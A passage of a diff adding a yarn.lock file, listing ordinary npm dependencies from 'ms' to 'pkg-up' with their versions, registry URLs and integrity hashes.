+  integrity sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==
+
+ms@2.1.3, ms@^2.1.1, ms@^2.1.3:
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
+  integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
+
+multicast-dns@^7.2.5:
+  version "7.2.5"
+  resolved "https://registry.yarnpkg.com/multicast-dns/-/multicast-dns-7.2.5.tgz#77eb46057f4d7adbd16d9290fa7299f6fa64cced"
+  integrity sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==
+  dependencies:
+    dns-packet "^5.2.2"
+    thunky "^1.0.2"
+
+mz@^2.7.0:
+  version "2.7.0"
+  resolved "https://registry.yarnpkg.com/mz/-/mz-2.7.0.tgz#95008057a56cafadc2bc63dde7f9ff6955948e32"
+  integrity sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==
+  dependencies:
+    any-promise "^1.0.0"
+    object-assign "^4.0.1"
+    thenify-all "^1.0.0"
+
+nanoid@^3.3.8:
+  version "3.3.8"
+  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.8.tgz#b1be3030bee36aaff18bacb375e5cce521684baf"
+  integrity sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==
+
+natural-compare-lite@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/natural-compare-lite/-/natural-compare-lite-1.4.0.tgz#17b09581988979fddafe0201e931ba933c96cbb4"
+  integrity sha512-Tj+HTDSJJKaZnfiuw+iaF9skdPpTo2GtEly5JHnWV/hfv2Qj/9RKsGISQtLh2ox3l5EAGw487hnBee0sIJ6v2g==
+
+natural-compare@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
+  integrity sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==
+
+negotiator@0.6.3:
+  version "0.6.3"
+  resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.3.tgz#58e323a72fedc0d6f9cd4d31fe49f51479590ccd"
+  integrity sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==
+
+negotiator@~0.6.4:
+  version "0.6.4"
+  resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.4.tgz#777948e2452651c570b712dd01c23e262713fff7"
+  integrity sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==
+
+neo-async@^2.6.2:
+  version "2.6.2"
+  resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f"
+  integrity sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==
+
+no-case@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/no-case/-/no-case-3.0.4.tgz#d361fd5c9800f558551a8369fc0dcd4662b6124d"
+  integrity sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==
+  dependencies:
+    lower-case "^2.0.2"
+    tslib "^2.0.3"
+
+node-forge@^1:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/node-forge/-/node-forge-1.3.1.tgz#be8da2af243b2417d5f646a770663a92b7e9ded3"
+  integrity sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==
+
+node-int64@^0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/node-int64/-/node-int64-0.4.0.tgz#87a9065cdb355d3182d8f94ce11188b825c68a3b"
+  integrity sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==
+
+node-releases@^2.0.19:
+  version "2.0.19"
+  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.19.tgz#9e445a52950951ec4d177d843af370b411caf314"
+  integrity sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==
+
+normalize-path@^3.0.0, normalize-path@~3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65"
+  integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==
+
+normalize-range@^0.1.2:
+  version "0.1.2"
+  resolved "https://registry.yarnpkg.com/normalize-range/-/normalize-range-0.1.2.tgz#2d10c06bdfd312ea9777695a4d28439456b75942"
+  integrity sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==
+
+normalize-url@^6.0.1:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-6.1.0.tgz#40d0885b535deffe3f3147bec877d05fe4c5668a"
+  integrity sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==
+
+npm-run-path@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-4.0.1.tgz#b7ecd1e5ed53da8e37a55e1c2269e0b97ed748ea"
+  integrity sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==
+  dependencies:
+    path-key "^3.0.0"
+
+nth-check@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-1.0.2.tgz#b2bd295c37e3dd58a3bf0700376663ba4d9cf05c"
+  integrity sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==
+  dependencies:
+    boolbase "~1.0.0"
+
+nth-check@^2.0.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-2.1.1.tgz#c9eab428effce36cd6b92c924bdb000ef1f1ed1d"
+  integrity sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==
+  dependencies:
+    boolbase "^1.0.0"
+
+nwsapi@^2.2.0:
+  version "2.2.16"
+  resolved "https://registry.yarnpkg.com/nwsapi/-/nwsapi-2.2.16.tgz#177760bba02c351df1d2644e220c31dfec8cdb43"
+  integrity sha512-F1I/bimDpj3ncaNDhfyMWuFqmQDBwDB0Fogc2qpL3BWvkQteFD/8BzWuIRl83rq0DXfm8SGt/HFhLXZyljTXcQ==
+
+object-assign@^4.0.1, object-assign@^4.1.1:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
+  integrity sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==
+
+object-hash@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/object-hash/-/object-hash-3.0.0.tgz#73f97f753e7baffc0e2cc9d6e079079744ac82e9"
+  integrity sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==
+
+object-inspect@^1.13.3:
+  version "1.13.4"
+  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.4.tgz#8375265e21bc20d0fa582c22e1b13485d6e00213"
+  integrity sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==
+
+object-keys@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
+  integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
+
+object.assign@^4.1.4, object.assign@^4.1.7:
+  version "4.1.7"
+  resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.7.tgz#8c14ca1a424c6a561b0bb2a22f66f5049a945d3d"
+  integrity sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+    has-symbols "^1.1.0"
+    object-keys "^1.1.1"
+
+object.entries@^1.1.8:
+  version "1.1.8"
+  resolved "https://registry.yarnpkg.com/object.entries/-/object.entries-1.1.8.tgz#bffe6f282e01f4d17807204a24f8edd823599c41"
+  integrity sha512-cmopxi8VwRIAw/fkijJohSfpef5PdN0pMQJN6VC/ZKvn0LIknWD8KtgY6KlQdEc4tIjcQ3HxSMmnvtzIscdaYQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+object.fromentries@^2.0.8:
+  version "2.0.8"
+  resolved "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.8.tgz#f7195d8a9b97bd95cbc1999ea939ecd1a2b00c65"
+  integrity sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-object-atoms "^1.0.0"
+
+object.getownpropertydescriptors@^2.1.0:
+  version "2.1.8"
+  resolved "https://registry.yarnpkg.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.8.tgz#2f1fe0606ec1a7658154ccd4f728504f69667923"
+  integrity sha512-qkHIGe4q0lSYMv0XI4SsBTJz3WaURhLvd0lKSgtVuOsJ2krg4SgMw3PIRQFMp07yi++UR3se2mkcLqsBNpBb/A==
+  dependencies:
+    array.prototype.reduce "^1.0.6"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-object-atoms "^1.0.0"
+    gopd "^1.0.1"
+    safe-array-concat "^1.1.2"
+
+object.groupby@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/object.groupby/-/object.groupby-1.0.3.tgz#9b125c36238129f6f7b61954a1e7176148d5002e"
+  integrity sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+
+object.values@^1.1.0, object.values@^1.1.6, object.values@^1.2.0, object.values@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.2.1.tgz#deed520a50809ff7f75a7cfd4bc64c7a038c6216"
+  integrity sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+obuf@^1.0.0, obuf@^1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/obuf/-/obuf-1.1.2.tgz#09bea3343d41859ebd446292d11c9d4db619084e"
+  integrity sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==
+
+on-finished@2.4.1:
+  version "2.4.1"
+  resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.4.1.tgz#58c8c44116e54845ad57f14ab10b03533184ac3f"
+  integrity sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==
+  dependencies:
+    ee-first "1.1.1"
+
+on-headers@~1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/on-headers/-/on-headers-1.0.2.tgz#772b0ae6aaa525c399e489adfad90c403eb3c28f"
+  integrity sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==
+
+once@^1.3.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
+  integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==
+  dependencies:
+    wrappy "1"
+
+onetime@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/onetime/-/onetime-5.1.2.tgz#d0e96ebb56b07476df1dd9c4806e5237985ca45e"
+  integrity sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==
+  dependencies:
+    mimic-fn "^2.1.0"
+
+open@^8.0.9, open@^8.4.0:
+  version "8.4.2"
+  resolved "https://registry.yarnpkg.com/open/-/open-8.4.2.tgz#5b5ffe2a8f793dcd2aad73e550cb87b59cb084f9"
+  integrity sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==
+  dependencies:
+    define-lazy-prop "^2.0.0"
+    is-docker "^2.1.1"
+    is-wsl "^2.2.0"
+
+optionator@^0.8.1:
+  version "0.8.3"
+  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.8.3.tgz#84fa1d036fe9d3c7e21d99884b601167ec8fb495"
+  integrity sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==
+  dependencies:
+    deep-is "~0.1.3"
+    fast-levenshtein "~2.0.6"
+    levn "~0.3.0"
+    prelude-ls "~1.1.2"
+    type-check "~0.3.2"
+    word-wrap "~1.2.3"
+
+optionator@^0.9.3:
+  version "0.9.4"
+  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.9.4.tgz#7ea1c1a5d91d764fb282139c88fe11e182a3a734"
+  integrity sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==
+  dependencies:
+    deep-is "^0.1.3"
+    fast-levenshtein "^2.0.6"
+    levn "^0.4.1"
+    prelude-ls "^1.2.1"
+    type-check "^0.4.0"
+    word-wrap "^1.2.5"
+
+own-keys@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/own-keys/-/own-keys-1.0.1.tgz#e4006910a2bf913585289676eebd6f390cf51358"
+  integrity sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==
+  dependencies:
+    get-intrinsic "^1.2.6"
+    object-keys "^1.1.1"
+    safe-push-apply "^1.0.0"
+
+p-limit@^2.0.0, p-limit@^2.2.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1"
+  integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==
+  dependencies:
+    p-try "^2.0.0"
+
+p-limit@^3.0.2:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b"
+  integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==
+  dependencies:
+    yocto-queue "^0.1.0"
+
+p-locate@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4"
+  integrity sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==
+  dependencies:
+    p-limit "^2.0.0"
+
+p-locate@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07"
+  integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==
+  dependencies:
+    p-limit "^2.2.0"
+
+p-locate@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-5.0.0.tgz#83c8315c6785005e3bd021839411c9e110e6d834"
+  integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==
+  dependencies:
+    p-limit "^3.0.2"
+
+p-retry@^4.5.0:
+  version "4.6.2"
+  resolved "https://registry.yarnpkg.com/p-retry/-/p-retry-4.6.2.tgz#9baae7184057edd4e17231cee04264106e092a16"
+  integrity sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==
+  dependencies:
+    "@types/retry" "0.12.0"
+    retry "^0.13.1"
+
+p-try@^2.0.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
+  integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==
+
+package-json-from-dist@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz#4f1471a010827a86f94cfd9b0727e36d267de505"
+  integrity sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==
+
+param-case@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/param-case/-/param-case-3.0.4.tgz#7d17fe4aa12bde34d4a77d91acfb6219caad01c5"
+  integrity sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==
+  dependencies:
+    dot-case "^3.0.4"
+    tslib "^2.0.3"
+
+parent-module@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2"
+  integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==
+  dependencies:
+    callsites "^3.0.0"
+
+parse-json@^5.0.0, parse-json@^5.2.0:
+  version "5.2.0"
+  resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd"
+  integrity sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==
+  dependencies:
+    "@babel/code-frame" "^7.0.0"
+    error-ex "^1.3.1"
+    json-parse-even-better-errors "^2.3.0"
+    lines-and-columns "^1.1.6"
+
+parse5@6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/parse5/-/parse5-6.0.1.tgz#e1a1c085c569b3dc08321184f19a39cc27f7c30b"
+  integrity sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==
+
+parseurl@~1.3.2, parseurl@~1.3.3:
+  version "1.3.3"
+  resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4"
+  integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==
+
+pascal-case@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/pascal-case/-/pascal-case-3.1.2.tgz#b48e0ef2b98e205e7c1dae747d0b1508237660eb"
+  integrity sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==
+  dependencies:
+    no-case "^3.0.4"
+    tslib "^2.0.3"
+
+path-exists@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
+  integrity sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==
+
+path-exists@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
+  integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
+
+path-is-absolute@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
+  integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==
+
+path-key@^3.0.0, path-key@^3.1.0:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
+  integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
+
+path-parse@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
+  integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
+
+path-scurry@^1.11.1:
+  version "1.11.1"
+  resolved "https://registry.yarnpkg.com/path-scurry/-/path-scurry-1.11.1.tgz#7960a668888594a0720b12a911d1a742ab9f11d2"
+  integrity sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==
+  dependencies:
+    lru-cache "^10.2.0"
+    minipass "^5.0.0 || ^6.0.2 || ^7.0.0"
+
+path-to-regexp@0.1.12:
+  version "0.1.12"
+  resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.12.tgz#d5e1a12e478a976d432ef3c58d534b9923164bb7"
+  integrity sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==
+
+path-type@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/path-type/-/path-type-4.0.0.tgz#84ed01c0a7ba380afe09d90a8c180dcd9d03043b"
+  integrity sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==
+
+performance-now@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
+  integrity sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==
+
+picocolors@^0.2.1:
+  version "0.2.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-0.2.1.tgz#570670f793646851d1ba135996962abad587859f"
+  integrity sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==
+
+picocolors@^1.0.0, picocolors@^1.0.1, picocolors@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
+  integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
+
+picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.2.2, picomatch@^2.2.3, picomatch@^2.3.1:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.1.tgz#3ba3833733646d9d3e4995946c1365a67fb07a42"
+  integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==
+
+pify@^2.3.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/pify/-/pify-2.3.0.tgz#ed141a6ac043a849ea588498e7dca8b15330e90c"
+  integrity sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==
+
+pirates@^4.0.1, pirates@^4.0.4:
+  version "4.0.6"
+  resolved "https://registry.yarnpkg.com/pirates/-/pirates-4.0.6.tgz#3018ae32ecfcff6c29ba2267cbf21166ac1f36b9"
+  integrity sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==
+
+pkg-dir@^4.1.0, pkg-dir@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3"
+  integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==
+  dependencies:
+    find-up "^4.0.0"
+
+pkg-up@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-3.1.0.tgz#100ec235cc150e4fd42519412596a28512a0def5"
